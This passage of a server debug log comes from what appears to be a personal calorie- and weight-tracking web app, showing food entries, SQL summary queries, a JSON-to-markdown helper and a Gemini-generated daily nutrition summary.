    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T12:49:03.197Z server-connect:app Executing action step setvalue
2025-12-16T12:49:03.197Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T12:49:03.197Z server-connect:output var_total: 1313
2025-12-16T12:49:03.197Z server-connect:app Executing action step setvalue
2025-12-16T12:49:03.197Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T12:49:03.197Z server-connect:output var_consumed: 55
2025-12-16T12:49:03.197Z server-connect:app Executing action step setvalue
2025-12-16T12:49:03.197Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T12:49:03.197Z server-connect:output var_deficit: 1087
2025-12-16T12:49:03.197Z server-connect:app Executing action step custom
2025-12-16T12:49:03.197Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T12:49:03.198Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T12:49:03.213Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T12:49:03.213Z server-connect:app Executing action step identify
2025-12-16T12:49:03.213Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:03.213Z server-connect:output identity: 1
2025-12-16T12:49:03.214Z server-connect:app Executing action step restrict
2025-12-16T12:49:03.214Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:49:03.214Z server-connect:output restrict: undefined
2025-12-16T12:49:03.215Z server-connect:app Executing action step select
2025-12-16T12:49:03.215Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T12:49:03.217Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  }
]
2025-12-16T12:49:03.217Z server-connect:app Executing action step paged
2025-12-16T12:49:03.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T12:49:03.221Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T12:49:03.223Z server-connect:app Executing action step run
2025-12-16T12:49:03.223Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T12:49:03.225Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '\n'
2025-12-16T12:49:03.225Z server-connect:app Executing action step run
2025-12-16T12:49:03.225Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T12:49:03.226Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T12:49:03.226Z server-connect:app Executing action step setvalue
2025-12-16T12:49:03.226Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T12:49:03.227Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T12:49:03.936Z server-connect:app Executing action step processWithGemini
2025-12-16T12:49:03.936Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T12:49:06.103Z server-connect:output health_summary: {
  summary: "The day's food intake shows a moderate approach to nutrition. While some healthy choices are present, there's a notable imbalance, particularly concerning protein sources, which are crucial for muscle development and satiety. Meal timing seems spread out, but recovery support could be enhanced by focusing on nutrient-dense options. Overall, the day was decent but not optimal for aggressive fat loss and muscle building.",
  rating: 6,
  good_points: [
    'Inclusion of whole wheat rotis for complex carbohydrates.',
    'Consumption of sabzi (vegetable dish) to add some fiber and micronutrients.',
    'Regular intake of green tea throughout the day.',
    'Snacking on makhana provides a lighter option.',
    'Absence of added sugar in milk tea.'
  ],
  bad_points: [
    'Protein intake appears quite low, which is suboptimal for muscle development goals.',
    'Reliance on a few meals with limited variety in protein sources.',
    'Idli, while a common breakfast, can be calorie-dense and might not provide enough sustained energy or protein.',
    'Digestive biscuits are a less nutrient-dense snack choice.',
    'The inclusion of milk sugar coffee adds unnecessary refined sugars.',
    'The overall meal composition may not support optimal recovery after early morning workouts.'
  ],
  suggestions: [
    'Prioritize protein-rich foods in every meal, such as lentils, lean meats, fish, paneer, or eggs.',
    'Incorporate more variety in vegetables and include leafy greens.',
    'Consider swapping processed snacks like digestive biscuits for options with higher protein and fiber content.',
    'Reduce or eliminate sugar from beverages like coffee.',
    'Ensure adequate hydration throughout the day, especially around workout times.'
  ],
  predicted_weight_trend: 'Slowly decreasing with potential plateaus.',
  predicted_weight: 70
}
2025-12-16T12:49:06.104Z server-connect:app Executing action step condition
2025-12-16T12:49:06.104Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T12:49:06.104Z server-connect:app Executing action step delete
2025-12-16T12:49:06.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T12:49:06.107Z server-connect:output delete: { affected: 1 }
2025-12-16T12:49:06.107Z server-connect:app Executing action step insert
2025-12-16T12:49:06.108Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T12:49:06.110Z server-connect:output insert: { affected: 1, identity: 7 }
2025-12-16T12:49:06.110Z server-connect:output condition: undefined
2025-12-16T12:49:06.331Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T12:49:06.332Z server-connect:app Executing action step identify
2025-12-16T12:49:06.332Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:06.332Z server-connect:output identity: 1
2025-12-16T12:49:06.332Z server-connect:app Executing action step restrict
2025-12-16T12:49:06.333Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:06.333Z server-connect:output restrict: undefined
2025-12-16T12:49:06.333Z server-connect:app Executing action step single
2025-12-16T12:49:06.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T12:49:06.334Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's food intake shows a moderate approach to nutrition. While some healthy choices are present, there's a notable imbalance, particularly concerning protein sources, which are crucial for muscle development and satiety. Meal timing seems spread out, but recovery support could be enhanced by focusing on nutrient-dense options. Overall, the day was decent but not optimal for aggressive fat loss and muscle building.",
    bad_points: [
      'Protein intake appears quite low, which is suboptimal for muscle development goals.',
      'Reliance on a few meals with limited variety in protein sources.',
      'Idli, while a common breakfast, can be calorie-dense and might not provide enough sustained energy or protein.',
      'Digestive biscuits are a less nutrient-dense snack choice.',
      'The inclusion of milk sugar coffee adds unnecessary refined sugars.',
      'The overall meal composition may not support optimal recovery after early morning workouts.'
    ],
    good_points: [
      'Inclusion of whole wheat rotis for complex carbohydrates.',
      'Consumption of sabzi (vegetable dish) to add some fiber and micronutrients.',
      'Regular intake of green tea throughout the day.',
      'Snacking on makhana provides a lighter option.',
      'Absence of added sugar in milk tea.'
    ],
    suggestions: [
      'Prioritize protein-rich foods in every meal, such as lentils, lean meats, fish, paneer, or eggs.',
      'Incorporate more variety in vegetables and include leafy greens.',
      'Consider swapping processed snacks like digestive biscuits for options with higher protein and fiber content.',
      'Reduce or eliminate sugar from beverages like coffee.',
      'Ensure adequate hydration throughout the day, especially around workout times.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slowly decreasing with potential plateaus.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:10:23.044Z server-connect:router Serving templateView /
2025-12-16T13:10:23.045Z server-connect:app Executing action step identify
2025-12-16T13:10:23.045Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:23.045Z server-connect:output identity: 1
2025-12-16T13:10:23.045Z server-connect:app Executing action step restrict
2025-12-16T13:10:23.045Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:10:23.047Z server-connect:output restrict: undefined
2025-12-16T13:10:23.047Z server-connect:app Executing action step restrict
2025-12-16T13:10:23.047Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:10:23.048Z server-connect:output restrict: undefined
2025-12-16T13:10:23.048Z server-connect:router Render template layouts/main
2025-12-16T13:10:23.048Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
